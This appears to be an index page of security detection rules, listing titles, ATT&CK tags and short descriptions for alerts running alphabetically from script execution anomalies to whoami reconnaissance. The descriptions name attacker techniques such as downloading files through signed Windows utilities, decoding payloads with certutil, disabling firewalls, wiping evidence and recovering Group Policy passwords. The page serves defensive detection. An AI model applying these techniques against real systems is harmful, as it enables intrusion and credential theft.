Read More
Execution Of Non-Existing File

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Checks whether the image specified in a process creation event is not a full, absolute path (caused by process ghosting or other unorthodox methods to start a process)

Read More
Execution of Powershell Script in Public Folder

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

Read More
Execution Of Script Located In Potentially Suspicious Directory

Aug 12, 2024 · attack.execution ·
Share on:

Detects executions of scripts located in potentially suspicious locations such as "/tmp" via a shell such as "bash", "sh", etc.

Read More
Execution via stordiag.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe

Read More
Execution via WorkFolders.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects using WorkFolders.exe to execute an arbitrary control.exe

Read More
Exploit for CVE-2015-1641

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 cve.2015-1641 detection.emerging-threats ·
Share on:

Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641

Read More
Exploit for CVE-2017-0261

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-0261 detection.emerging-threats ·
Share on:

Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262

Read More
Exploit for CVE-2017-8759

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-8759 detection.emerging-threats ·
Share on:

Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759

Read More
Exploit Framework User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs

Read More
Exploitation Indicator Of CVE-2022-42475

Aug 12, 2024 · attack.initial-access cve.2022-42475 detection.emerging-threats ·
Share on:

Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.

Read More
Exploitation of CVE-2021-26814 in Wazuh

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-21978 cve.2021-26814 detection.emerging-threats ·
Share on:

Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814

Read More
Exploited CVE-2020-10189 Zoho ManageEngine

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1059.001 attack.t1059.003 attack.s0190 cve.2020-10189 detection.emerging-threats ·
Share on:

Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189

Read More
Exploiting SetupComplete.cmd CVE-2019-1378

Aug 12, 2024 · attack.privilege-escalation attack.t1068 attack.execution attack.t1059.003 attack.t1574 cve.2019-1378 detection.emerging-threats ·
Share on:

Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378

Read More
Explorer NOUACCHECK Flag

Aug 12, 2024 · attack.defense-evasion attack.t1548.002 ·
Share on:

Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks

Read More
Explorer Process Tree Break

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"

Read More
Exports Critical Registry Keys To a File

Aug 12, 2024 · attack.exfiltration attack.t1012 ·
Share on:

Detects the export of a crital Registry key to a file.

Read More
Exports Registry Key To a File

Aug 12, 2024 · attack.exfiltration attack.t1012 ·
Share on:

Detects the export of the target Registry key to a file.

Read More
Exports Registry Key To an Alternate Data Stream

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Exports the target Registry key and hides it in the specified alternate data stream.

Read More
External Disk Drive Or USB Storage Device Was Recognized By The System

Aug 12, 2024 · attack.t1091 attack.t1200 attack.lateral-movement attack.initial-access ·
Share on:

Detects external disk drives or plugged-in USB devices.

Read More
External Remote RDP Logon from Public IP

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1133 attack.t1078 attack.t1110 ·
Share on:

Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.

Read More
External Remote SMB Logon from Public IP

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1133 attack.t1078 attack.t1110 ·
Share on:

Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.

Read More
Extracting Information with PowerShell

Aug 12, 2024 · attack.credential-access attack.t1552.001 ·
Share on:

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

Read More
Failed Authentications From Countries You Do Not Operate Out Of

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 ·
Share on:

Detect failed authentications from countries you do not operate out of.

Read More
Failed Code Integrity Checks

Aug 12, 2024 · attack.defense-evasion attack.t1027.001 ·
Share on:

Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.

Read More
Failed DNS Zone Transfer

Aug 12, 2024 · attack.reconnaissance attack.t1590.002 ·
Share on:

Detects when a DNS zone transfer failed.

Read More
Failed Logon From Public IP

Aug 12, 2024 · attack.initial-access attack.persistence attack.t1078 attack.t1190 attack.t1133 ·
Share on:

Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.

Read More
Failed MSExchange Transport Agent Installation

Aug 12, 2024 · attack.persistence attack.t1505.002 ·
Share on:

Detects a failed installation of a Exchange Transport Agent

Read More
Fax Service DLL Search Order Hijack

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1574.001 attack.t1574.002 ·
Share on:

The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.

Read More
File and Directory Discovery - MacOS

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects usage of system utilities to discover files and directories

Read More
File And SubFolder Enumeration Via Dir Command

Aug 12, 2024 · attack.discovery attack.t1217 ·
Share on:

Detects usage of the "dir" command part of Widows CMD with the "/S" command line flag in order to enumerate files in a specified directory and all subdirectories.

Read More
File Creation Date Changed to Another Year

Aug 12, 2024 · attack.t1070.006 attack.defense-evasion ·
Share on:

Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.

Read More
File Creation In Suspicious Directory By Msdt.EXE

Aug 12, 2024 · attack.persistence attack.t1547.001 cve.2022-30190 ·
Share on:

Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities

Read More
File Decoded From Base64/Hex Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution

Read More
File Decryption Using Gpg4win

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to decrypt files

Read More
File Deleted Via Sysinternals SDelete

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.

Read More
File Deletion

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects file deletion using "rm", "shred" or "unlink" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity

Read More
File Deletion Via Del

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects execution of the builtin "del"/"erase" commands in order to delete files. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

Read More
File Download And Execution Via IEExec.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of the IEExec utility to download and execute files

Read More
File Download From Browser Process Via Inline URL

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.

Read More
File Download Using Notepad++ GUP Utility

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.

Read More
File Download Using ProtocolHandler.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

Read More
File Download Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file

Read More
File Download Via Bitsadmin To A Suspicious Target Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file to a suspicious target folder

Read More
File Download Via Bitsadmin To An Uncommon Target Folder

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file to uncommon target folder

Read More
File Download via CertOC.EXE

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects when a user downloads a file by using CertOC.exe

Read More
File Download Via InstallUtil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects use of .NET InstallUtil.exe in order to download arbitrary files. The files will be written to "%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE"

Read More
File Download Via Nscurl - MacOS

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1105 ·
Share on:

Detects the execution of the nscurl utility in order to download files.

Read More
File Download Via Windows Defender MpCmpRun.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.command-and-control attack.t1105 ·
Share on:

Detects the use of Windows Defender MpCmdRun.EXE to download files

Read More
File Download with Headless Browser

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files

Read More
File Encoded To Base64 Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration

Read More
File Encryption Using Gpg4win

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to encrypt files

Read More
File Encryption/Decryption Via Gpg4win From Suspicious Locations

Aug 12, 2024 · attack.execution ·
Share on:

Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.

Read More
File In Suspicious Location Encoded To Base64 Via Certutil.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations

Read More
File or Folder Permissions Change

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·
Share on:

Detects file and folder permission changes.

Read More
File Recovery From Backup Via Wbadmin.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.

Read More
File Time Attribute Change

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·
Share on:

Detect file time attribute change to hide new or changes to existing files

Read More
File Time Attribute Change - Linux

Aug 12, 2024 · attack.defense-evasion attack.t1070.006 ·
Share on:

Detect file time attribute change to hide new or changes to existing files.

Read More
File Was Not Allowed To Run

Aug 12, 2024 · attack.execution attack.t1204.002 attack.t1059.001 attack.t1059.003 attack.t1059.005 attack.t1059.006 attack.t1059.007 ·
Share on:

Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.

Read More
File With Suspicious Extension Downloaded Via Bitsadmin

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1197 attack.s0190 attack.t1036.003 ·
Share on:

Detects usage of bitsadmin downloading a file with a suspicious extension

Read More
File With Uncommon Extension Created By An Office Application

Aug 12, 2024 · attack.t1204.002 attack.execution ·
Share on:

Detects the creation of files with an executable or script extension by an Office application.

Read More
Files Added To An Archive Using Rar.EXE

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
Files With System DLL Name In Unsuspected Locations

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·
Share on:

Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production.

Read More
Files With System Process Name In Unsuspected Locations

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 ·
Share on:

Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production.

Read More
Filter Driver Unloaded Via Fltmc.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562 attack.t1562.002 ·
Share on:

Detect filter driver unloading activity via fltmc.exe

Read More
Findstr GPP Passwords

Aug 12, 2024 · attack.credential-access attack.t1552.006 ·
Share on:

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.

Read More
Findstr Launching .lnk File

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1202 attack.t1027.003 ·
Share on:

Detects usage of findstr to identify and execute a lnk file as seen within the HHS redirect attack

Read More
Finger.EXE Execution

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects execution of the "finger.exe" utility. Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon. Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.

Read More
Fireball Archer Install

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects Archer malware invocation via rundll32

Read More
Firewall Disabled via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 attack.s0108 ·
Share on:

Detects netsh commands that turns off the Windows firewall

Read More
Firewall Rule Deleted Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects the removal of a port or application rule in the Windows Firewall configuration using netsh

Read More
Firewall Rule Update Via Netsh.EXE

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule

Read More
First Time Seen Remote Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

Read More
First Time Seen Remote Named Pipe - Zeek

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

This detection excludes known namped pipes accessible remotely and notify on newly observed ones, may help to detect lateral movement and remote exec using named pipes

Read More
Flash Player Update from Suspicious Location

Aug 12, 2024 · attack.initial-access attack.t1189 attack.execution attack.t1204.002 attack.defense-evasion attack.t1036.005 ·
Share on:

Detects a flashplayer update from an unofficial location

Read More
FlowCloud Registry Markers

Aug 12, 2024 · attack.persistence attack.t1112 ·
Share on:

Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components.

Read More
Flush Iptables Ufw Chain

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic

Read More
FoggyWeb Backdoor DLL Loading

Aug 12, 2024 · attack.resource-development attack.t1587 detection.emerging-threats ·
Share on:

Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll

Read More
Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Aug 12, 2024 · attack.collection attack.t1074.001 ·
Share on:

Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

Read More
Folder Removed From Exploit Guard ProtectedFolders List - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the removal of folders from the "ProtectedFolders" list of of exploit guard. This could indicate an attacker trying to launch an encryption process or trying to manipulate data inside of the protected folder

Read More
Forest Blizzard APT - Custom Protocol Handler Creation

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects the setting of a custom protocol handler with the name "rogue". Seen being created by Forest Blizzard APT as reported by MSFT.

Read More
Forest Blizzard APT - Custom Protocol Handler DLL Registry Set

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects the setting of the DLL that handles the custom protocol handler. Seen being created by Forest Blizzard APT as reported by MSFT.

Read More
Forest Blizzard APT - File Creation Activity

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the creation of specific files inside of ProgramData directory. These files were seen being created by Forest Blizzard as described by MSFT.

Read More
Forest Blizzard APT - JavaScript Constrained File Creation

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the creation of JavaScript files inside of the DriverStore directory. Forest Blizzard used this to exploit the CVE-2022-38028 vulnerability in Windows Print Spooler service by modifying a JavaScript constraints file and executing it with SYSTEM-level permissions.

Read More
Forest Blizzard APT - Process Creation Activity

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects the execution of specific processes and command line combination. These were seen being created by Forest Blizzard as described by MSFT.

Read More
Forfiles Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects the execution of "forfiles" with the "/c" flag. While this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary. Can be used to bypass application whitelisting.

Read More
Formbook Process Creation

Aug 12, 2024 · attack.resource-development attack.t1587.001 detection.emerging-threats ·
Share on:

Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.

Read More
Fortinet CVE-2018-13379 Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2018-13379 detection.emerging-threats ·
Share on:

Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs

Read More
Fortinet CVE-2021-22123 Exploitation

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-22123 detection.emerging-threats ·
Share on:

Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs

Read More
Fsutil Behavior Set SymlinkEvaluation

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt

Read More
Fsutil Drive Enumeration

Aug 12, 2024 · attack.discovery attack.t1120 ·
Share on:

Attackers may leverage fsutil to enumerated connected drives.

Read More
Fsutil Suspicious Invocation

Aug 12, 2024 · attack.defense-evasion attack.impact attack.t1070 attack.t1485 ·
Share on:

Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).

Read More
Function Call From Undocumented COM Interface EditionUpgradeManager

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects function calls from the EditionUpgradeManager COM interface. Which is an interface that is not used by standard executables.

Read More
GAC DLL Loaded Via Office Applications

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects any GAC DLL being loaded by an Office Product

Read More
GALLIUM Artefacts - Builtin

Aug 12, 2024 · attack.credential-access attack.command-and-control attack.t1071 detection.emerging-threats ·
Share on:

Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.

Read More
Gatekeeper Bypass via Xattr

Aug 12, 2024 · attack.defense-evasion attack.t1553.001 ·
Share on:

Detects macOS Gatekeeper bypass via xattr utility

Read More
GatherNetworkInfo.VBS Reconnaissance Script Output

Aug 12, 2024 · attack.discovery ·
Share on:

Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".

Read More
Get-ADUser Enumeration Using UserAccountControl Flags

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.

Read More
Github Delete Action Invoked

Aug 12, 2024 · attack.impact attack.collection attack.t1213.003 ·
Share on:

Detects delete action in the Github audit logs for codespaces, environment, project and repo.

Read More
Github Fork Private Repositories Setting Enabled/Cleared

Aug 12, 2024 · attack.persistence attack.t1020 attack.t1537 ·
Share on:

Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).

Read More
Github High Risk Configuration Disabled

Aug 12, 2024 · attack.credential-access attack.defense-evasion attack.persistence attack.t1556 ·
Share on:

Detects when a user disables a critical security feature for an organization.

Read More
Github New Secret Created

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access attack.t1078.004 ·
Share on:

Detects when a user creates action secret for the organization, environment, codespaces or repository.

Read More
Github Outside Collaborator Detected

Aug 12, 2024 · attack.persistence attack.collection attack.t1098.001 attack.t1098.003 attack.t1213.003 ·
Share on:

Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.

Read More
Github Push Protection Bypass Detected

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when a user bypasses the push protection on a secret detected by secret scanning.

Read More
Github Push Protection Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects if the push protection feature is disabled for an organization, enterprise, repositories or custom pattern rules.

Read More
Github Repository/Organization Transferred

Aug 12, 2024 · attack.persistence attack.t1020 attack.t1537 ·
Share on:

Detects when a repository or an organization is being transferred to another location.

Read More
Github Secret Scanning Feature Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects if the secret scanning feature is disabled for an enterprise or repository.

Read More
Github Self Hosted Runner Changes Detected

Aug 12, 2024 · attack.impact attack.discovery attack.collection attack.defense-evasion attack.persistence attack.privilege-escalation attack.initial-access attack.t1526 attack.t1213.003 attack.t1078.004 ·
Share on:

A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.

Read More
Github SSH Certificate Configuration Changed

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1078.004 ·
Share on:

Detects when changes are made to the SSH certificate configuration of the organization.

Read More
Goofy Guineapig Backdoor IOC

Aug 12, 2024 · attack.execution attack.defense-evasion detection.emerging-threats ·
Share on:

Detects malicious indicators seen used by the Goofy Guineapig malware

Read More
Goofy Guineapig Backdoor Potential C2 Communication

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential C2 communication related to Goofy Guineapig backdoor

Read More
Goofy Guineapig Backdoor Service Creation

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects service creation persistence used by the Goofy Guineapig backdoor

Read More
Google Cloud DNS Zone Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a DNS Zone is modified or deleted in Google Cloud.

Read More
Google Cloud Firewall Modified or Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).

Read More
Google Cloud Kubernetes Admission Controller

Aug 12, 2024 · attack.persistence attack.t1078 attack.credential-access attack.t1552 attack.t1552.007 ·
Share on:

Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

Read More
Google Cloud Kubernetes CronJob

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.execution ·
Share on:

Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

Read More
Google Cloud Kubernetes RoleBinding

Aug 12, 2024 · attack.credential-access ·
Share on:

Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.

Read More
Google Cloud Kubernetes Secrets Modified or Deleted

Aug 12, 2024 · attack.credential-access ·
Share on:

Identifies when the Secrets are Modified or Deleted.

Read More
Google Cloud Re-identifies Sensitive Information

Aug 12, 2024 · attack.impact attack.t1565 ·
Share on:

Identifies when sensitive information is re-identified in google Cloud.

Read More
Google Cloud Service Account Disabled or Deleted

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Identifies when a service account is disabled or deleted in Google Cloud.

Read More
Google Cloud Service Account Modified

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a service account is modified in Google Cloud.

Read More
Google Cloud SQL Database Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detect when a Cloud SQL DB has been modified or deleted.

Read More
Google Cloud Storage Buckets Enumeration

Aug 12, 2024 · attack.discovery ·
Share on:

Detects when storage bucket is enumerated in Google Cloud.

Read More
Google Cloud Storage Buckets Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when storage bucket is modified or deleted in Google Cloud.

Read More
Google Cloud VPN Tunnel Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.

Read More
Google Full Network Traffic Packet Capture

Aug 12, 2024 · attack.collection attack.t1074 ·
Share on:

Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.

Read More
Google Workspace Application Removed

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an an application is removed from Google Workspace.

Read More
Google Workspace Granted Domain API Access

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects when an API access service account is granted domain authority.

Read More
Google Workspace MFA Disabled

Aug 12, 2024 · attack.impact ·
Share on:

Detects when multi-factor authentication (MFA) is disabled.

Read More
Google Workspace Role Modified or Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an a role is modified or deleted in Google Workspace.

Read More
Google Workspace Role Privilege Deleted

Aug 12, 2024 · attack.impact ·
Share on:

Detects when an a role privilege is deleted in Google Workspace.

Read More
Google Workspace User Granted Admin Privileges

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects when an Google Workspace user is granted admin privileges.

Read More
GoToAssist Temporary Installation Artefact

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Gpresult Display Group Policy Information

Aug 12, 2024 · attack.discovery attack.t1615 ·
Share on:

Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information

Read More
Gpscript Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy

Read More
Grafana Path Traversal Exploitation CVE-2021-43798

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-43798 detection.emerging-threats ·
Share on:

Detects a successful Grafana path traversal exploitation

Read More
Granting Of Permissions To An Account

Aug 12, 2024 · attack.persistence attack.t1098.003 ·
Share on:

Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.

Read More
Greedy File Deletion Using Del

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.

Read More
Greenbug Espionage Group Indicators

Aug 12, 2024 · attack.g0049 attack.execution attack.t1059.001 attack.command-and-control attack.t1105 attack.defense-evasion attack.t1036.005 detection.emerging-threats ·
Share on:

Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec

Read More
Griffon Malware Attack Pattern

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process execution patterns related to Griffon malware as reported by Kaspersky

Read More
Group Has Been Deleted Via Groupdel

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks

Read More
Group Membership Reconnaissance Via Whoami.EXE

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

